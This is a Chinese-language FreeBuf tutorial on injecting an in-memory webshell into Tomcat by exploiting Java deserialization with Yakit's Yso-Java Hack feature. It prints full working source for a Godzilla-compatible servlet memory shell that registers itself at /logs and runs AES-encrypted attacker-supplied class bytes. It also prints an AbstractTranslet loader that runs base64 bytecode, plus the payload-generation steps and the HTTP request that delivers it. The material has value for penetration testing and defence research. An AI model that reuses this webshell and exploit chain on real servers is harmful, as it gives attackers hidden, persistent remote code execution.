freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Yso-Java Hack 进阶:利用反序列化漏洞打内存马
yaklang 2022-12-30 11:44:11 283525
所属地 四川省

背景

对于反序列化漏洞利用,一般命令执行后可以直接反弹shell或上线cs,但不出网的情况下想获取目标机器的信息,或进一步利用,就需要用到内存马配合shell管理工具了。

Yso-Java Hack 功能上了有一段时间了,可能有些师傅还不太熟悉,其实使用起来很方便,本篇文章介绍下如何利用反序列化漏洞直接打入内存马。

生成内存马

现在Yakit暂时还没有 shell 管理功能,所以就选用哥斯拉做 shell 管理工具。针对哥斯拉的马进行改造,改成servlet内存马。

我用的哥斯拉版本是4.0.1,生成的是jsp马,改成内存马就像下面这样。

import org.apache.catalina.core.StandardContext; import javax.servlet.Servlet; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; public class GodzillaMem extends HttpServlet { String xc = "3c6e0b8a9c15224a"; String pass = "pass"; static String pattern = "/logs"; static String servletName = "JVMService"; String md5 = md5(pass + xc); Class payload; static { Servlet servlet = new GodzillaMem(); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext(); org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper(); newWrapper.setName(servletName); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); standardCtx.addChild(newWrapper); standardCtx.addServletMappingDecoded(pattern,servletName); } public static String md5(String s) { String ret = null; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch (Exception e) { } return ret; } public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public byte[] x(byte[] s, boolean m) { try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s); } catch (Exception e) { return null; } } public Class defClass(byte[] classBytes) throws Throwable { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defMethod.setAccessible(true); return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { byte[] data = base64Decode(req.getParameter(pass)); data = x(data, false); if (payload == null) { payload = defClass(data); } else { java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payload.newInstance(); f.equals(arrOut); f.equals(data); f.equals(req); resp.getWriter().write(md5.substring(0, 16)); f.toString(); resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); resp.getWriter().write(md5.substring(16)); } } catch (Throwable e) { } } }

这是一个基础的servlet马,其它的马也是一样的原理。

生成payload

上面改造的 servlet 内存马想通过反序列化链利用还需要进行一些改造。代码执行是通过 TemplatesImpl 对象反序列化时加载类导致的,它在加载类时,只会实例化继承自 AbstractTranslet 的类。

而我们构造的内存马是继承自 HttpServlet ,Java只支持单继承。所以我们可以再写一个继承自 AbstractTranslet 的类来加载内存马。如下,将 base64Class 的值改为上面内存马的base64编码。

package payload; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.Base64; public class LoadBytesCode extends AbstractTranslet { static String base64Class = "<字节码的base64编码>"; static { byte[] bytes = Base64.getDecoder().decode(base64Class); try { defClass(bytes).getConstructor().newInstance(); } catch (Throwable e) { e.printStackTrace(); } } public static Class defClass(byte[] classBytes) throws Throwable { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defMethod.setAccessible(true); return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }

编译 LoadBytesCode 类生成 class 后再 base64 编码,在 Yso-Java Hack 功能里选择链,恶意类选择 FromBytes,填入字节码,生成hex格式数据。

实战演练

先在本地搭建一个测试环境,源码如下:

这里已经给需要测试的师傅打包好了docker环境,docker运行下就可以:docker run -p 8080:8080 -itd --name="deserilize_test" z3r0ne0/deserilize_test

启动环境后,使用 Web Fuzzer 发送 payload

GET/ HTTP/1.1 Host: localhost:8080 {{hexdec(<之前复制的payload>)}}

访问 http://localhost:8080/logs 发现405错误,而不是404,说明注册servlet成功了

使用哥斯拉连接成功

总结

Yso-Java Hack 帮我们完成了很多需要代码操作的事情,而且支持自定义恶意类,可扩展性还是很强的,希望本篇文章可以给师傅们一些新思路,提高工作效率。

参考文章

https://paper.seebug.org/1885/

# 漏洞 # 网络安全
本文为 yaklang 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
yaklang LV.8
做难而正确的事!
  • 154 文章数
  • 108 关注者
超级牛的Java反编译大法(二):If 语句解析
2025-04-22
独立SyntaxFlow功能?IRify,启动!
2025-03-31
那我问你,MCP是什么?回答我!
2025-03-24